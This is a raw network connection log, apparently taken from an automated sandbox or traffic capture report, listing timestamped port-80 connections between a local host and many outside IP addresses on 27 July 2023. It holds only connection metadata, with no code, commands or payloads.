Jul 27, 2023 21:53:19.122749090 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.122759104 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.122781038 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.122792006 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.122818947 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.122826099 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.122849941 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.122858047 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.122879982 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.122891903 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.122905970 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.122936964 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.123363018 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.123398066 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.123430014 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.123431921 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.123465061 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.123478889 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.123497009 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.123507023 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.123548031 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.124336958 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.124371052 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.124406099 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.124438047 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.124469042 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.124577999 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.124659061 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.125317097 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.125350952 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.125381947 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.125412941 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.125443935 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.125540018 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.125747919 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.126265049 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.126300097 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.126331091 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.126363993 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.126394987 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.126478910 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.126528025 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.139053106 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.139086962 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.139179945 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.139202118 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.139220953 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.139244080 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.139265060 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.139518976 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.139647007 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.140080929 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.140126944 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.140157938 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.140163898 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.140212059 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.140242100 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.140275955 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.140340090 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.141057968 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.141078949 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.141098976 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.141127110 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.141164064 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.141182899 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.141221046 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.141311884 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.142000914 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.142059088 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.142079115 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.142097950 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.142117023 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.142141104 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.142220020 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.142946959 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.142971039 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.142988920 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.143007994 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.143027067 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.143058062 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.143148899 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.143903971 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.143924952 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.143944025 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.143964052 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.143984079 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.144005060 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.144068003 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.144835949 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.144859076 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.144879103 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.145217896 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.145217896 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.145411015 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.145432949 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.145452023 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.145472050 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.145484924 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.145490885 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.145577908 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.146415949 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.146437883 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.146460056 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.146480083 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.146500111 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.146687984 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.146764040 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.147322893 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.147346020 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.147380114 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.147402048 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.147423983 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.147494078 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.148305893 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.148329020 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.148349047 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.148374081 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.148396015 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.148492098 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.148524046 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.149363041 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.149385929 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.149405956 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.149427891 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.149450064 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.149544954 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.149593115 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.155670881 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.155702114 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.155723095 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.155745029 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.155908108 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.155919075 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.155942917 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.155953884 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.155966043 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.155985117 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.155991077 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.156013012 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.156021118 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.156066895 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.156855106 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.156878948 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.156902075 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.156924009 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.156945944 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.157054901 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.157088041 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.157763004 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.157797098 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.157830000 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.157857895 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.157886982 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.157915115 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.157944918 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.158662081 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.158699989 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.158730030 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.158757925 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.158787966 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.158801079 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.158849001 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.159480095 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.159625053 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.159652948 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.159682035 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.159708977 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.159715891 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.159738064 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.159750938 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.159770966 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.159797907 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.160512924 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.160541058 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.160569906 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.160598993 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.160625935 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.160661936 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.160701036 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.161503077 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.161531925 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.161560059 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.161587954 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.161617041 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.161672115 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.161705971 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.162211895 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.162242889 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.162271023 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.162282944 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.162300110 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.162305117 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.162321091 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.162329912 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.162338018 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.162377119 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.163063049 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.163091898 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.163120985 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.163150072 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.163176060 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.163243055 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.163273096 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.163955927 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.163981915 CEST	80	49976	172.67.70.223	192.168.2.4
Jul 27, 2023 21:53:19.164108038 CEST	49976	80	192.168.2.4	172.67.70.223
Jul 27, 2023 21:53:19.191492081 CEST	80	49980	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:19.193783045 CEST	80	49980	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:19.193856955 CEST	49982	80	192.168.2.4	193.166.255.171
Jul 27, 2023 21:53:19.193892002 CEST	49980	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:19.290040970 CEST	49980	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:19.290539026 CEST	49731	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:19.293477058 CEST	49983	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:19.304795980 CEST	80	49731	34.117.168.233	192.168.2.4
Jul 27, 2023 21:53:19.304873943 CEST	49731	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:19.307991982 CEST	80	49983	34.117.168.233	192.168.2.4
Jul 27, 2023 21:53:19.308537006 CEST	49983	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:19.310981035 CEST	49952	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:19.314584970 CEST	49983	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:19.327408075 CEST	80	49952	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:19.327970028 CEST	49952	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:19.329068899 CEST	80	49983	34.117.168.233	192.168.2.4
Jul 27, 2023 21:53:19.331782103 CEST	49713	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:19.341151953 CEST	80	49983	34.117.168.233	192.168.2.4
Jul 27, 2023 21:53:19.341186047 CEST	80	49983	34.117.168.233	192.168.2.4
Jul 27, 2023 21:53:19.341259956 CEST	49983	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:19.341319084 CEST	49983	80	192.168.2.4	34.117.168.233
Jul 27, 2023 21:53:19.348624945 CEST	49727	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:19.348772049 CEST	49952	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:19.351495981 CEST	80	49713	3.64.163.50	192.168.2.4
Jul 27, 2023 21:53:19.354324102 CEST	49713	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:19.364845037 CEST	80	49952	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:19.379069090 CEST	80	49727	46.242.238.60	192.168.2.4
Jul 27, 2023 21:53:19.379144907 CEST	49727	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:19.407078028 CEST	49984	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:19.416079044 CEST	49743	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:19.416239023 CEST	49985	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:19.417625904 CEST	49986	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:19.426495075 CEST	80	49984	3.64.163.50	192.168.2.4
Jul 27, 2023 21:53:19.426645041 CEST	49984	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:19.427196980 CEST	49984	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:19.445985079 CEST	80	49984	3.64.163.50	192.168.2.4
Jul 27, 2023 21:53:19.446525097 CEST	80	49984	3.64.163.50	192.168.2.4
Jul 27, 2023 21:53:19.446559906 CEST	80	49985	46.242.238.60	192.168.2.4
Jul 27, 2023 21:53:19.446615934 CEST	49984	80	192.168.2.4	3.64.163.50
Jul 27, 2023 21:53:19.446710110 CEST	49985	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:19.450402975 CEST	80	49743	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:19.451479912 CEST	80	49986	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:19.451564074 CEST	49986	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:19.453413010 CEST	80	49952	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:19.453552008 CEST	49952	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:19.456828117 CEST	49987	80	192.168.2.4	64.125.133.18
Jul 27, 2023 21:53:19.547288895 CEST	49985	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:19.571760893 CEST	80	49980	60.43.154.138	192.168.2.4
Jul 27, 2023 21:53:19.571845055 CEST	49980	80	192.168.2.4	60.43.154.138
Jul 27, 2023 21:53:19.577771902 CEST	80	49985	46.242.238.60	192.168.2.4
Jul 27, 2023 21:53:19.578665018 CEST	80	49985	46.242.238.60	192.168.2.4
Jul 27, 2023 21:53:19.578927040 CEST	49985	80	192.168.2.4	46.242.238.60
Jul 27, 2023 21:53:19.596580029 CEST	49986	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:19.609847069 CEST	49952	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:19.626036882 CEST	80	49952	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:19.630659103 CEST	80	49986	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:19.635565996 CEST	80	49986	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:19.636003971 CEST	49986	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:19.705066919 CEST	80	49952	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:19.705286980 CEST	49952	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:19.728420973 CEST	80	49893	74.208.236.101	192.168.2.4
Jul 27, 2023 21:53:19.729504108 CEST	49893	80	192.168.2.4	74.208.236.101
Jul 27, 2023 21:53:19.733984947 CEST	80	49948	173.254.28.29	192.168.2.4
Jul 27, 2023 21:53:19.734344959 CEST	49948	80	192.168.2.4	173.254.28.29
Jul 27, 2023 21:53:19.851748943 CEST	80	49839	104.196.26.65	192.168.2.4
Jul 27, 2023 21:53:19.853261948 CEST	49839	80	192.168.2.4	104.196.26.65
Jul 27, 2023 21:53:20.060669899 CEST	80	49981	82.201.61.230	192.168.2.4
Jul 27, 2023 21:53:20.060755014 CEST	49981	80	192.168.2.4	82.201.61.230
Jul 27, 2023 21:53:20.094144106 CEST	49986	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:20.135320902 CEST	80	49986	81.2.194.241	192.168.2.4
Jul 27, 2023 21:53:20.135658026 CEST	49986	80	192.168.2.4	81.2.194.241
Jul 27, 2023 21:53:20.426289082 CEST	49735	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:20.432486057 CEST	49988	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:20.443705082 CEST	80	49735	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:20.445729971 CEST	49735	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:20.449371099 CEST	80	49988	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:20.449513912 CEST	49988	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:20.452286005 CEST	49969	80	192.168.2.4	137.118.26.67
Jul 27, 2023 21:53:20.498007059 CEST	49988	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:20.515064001 CEST	80	49988	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:20.528285027 CEST	80	49988	188.114.97.7	192.168.2.4
Jul 27, 2023 21:53:20.529541016 CEST	49988	80	192.168.2.4	188.114.97.7
Jul 27, 2023 21:53:20.529542923 CEST	49724	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:20.546324015 CEST	80	49724	104.21.55.224	192.168.2.4
Jul 27, 2023 21:53:20.548001051 CEST	49724	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:20.660746098 CEST	49716	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:20.661958933 CEST	49989	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:20.663949013 CEST	49990	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:20.678124905 CEST	80	49989	104.21.55.224	192.168.2.4
Jul 27, 2023 21:53:20.679363012 CEST	49989	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:20.679487944 CEST	80	49716	192.124.249.10	192.168.2.4
Jul 27, 2023 21:53:20.679550886 CEST	49716	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:20.681176901 CEST	49732	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:20.682611942 CEST	80	49990	192.124.249.10	192.168.2.4
Jul 27, 2023 21:53:20.682643890 CEST	49989	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:20.682710886 CEST	49990	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:20.683729887 CEST	49991	80	192.168.2.4	51.79.51.72
Jul 27, 2023 21:53:20.685020924 CEST	49990	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:20.685225010 CEST	49992	80	192.168.2.4	39.99.233.155
Jul 27, 2023 21:53:20.685276031 CEST	49702	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.686992884 CEST	49993	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.688934088 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:20.689852953 CEST	49994	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:20.699542999 CEST	80	49989	104.21.55.224	192.168.2.4
Jul 27, 2023 21:53:20.702052116 CEST	80	49702	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:20.702128887 CEST	49702	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.704087973 CEST	80	49993	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:20.704432964 CEST	80	49990	192.124.249.10	192.168.2.4
Jul 27, 2023 21:53:20.704541922 CEST	49993	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.704854965 CEST	80	49990	192.124.249.10	192.168.2.4
Jul 27, 2023 21:53:20.705106974 CEST	49990	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:20.706059933 CEST	80	49994	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:20.706098080 CEST	80	49749	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:20.706152916 CEST	49994	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:20.706168890 CEST	49749	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:20.721318007 CEST	80	49989	104.21.55.224	192.168.2.4
Jul 27, 2023 21:53:20.721394062 CEST	49989	80	192.168.2.4	104.21.55.224
Jul 27, 2023 21:53:20.728837013 CEST	49993	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.728884935 CEST	49994	80	192.168.2.4	104.21.66.46
Jul 27, 2023 21:53:20.743156910 CEST	49741	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.743522882 CEST	49990	80	192.168.2.4	192.124.249.10
Jul 27, 2023 21:53:20.745151043 CEST	80	49993	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:20.745177031 CEST	80	49994	104.21.66.46	192.168.2.4
Jul 27, 2023 21:53:20.759073973 CEST	80	49993	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:20.759167910 CEST	49993	80	192.168.2.4	188.114.96.7
Jul 27, 2023 21:53:20.760978937 CEST	80	49741	188.114.96.7	192.168.2.4
Jul 27, 2023 21:53:20.761070013 CEST	49741	80	192.168.2.4	188.114.96.7
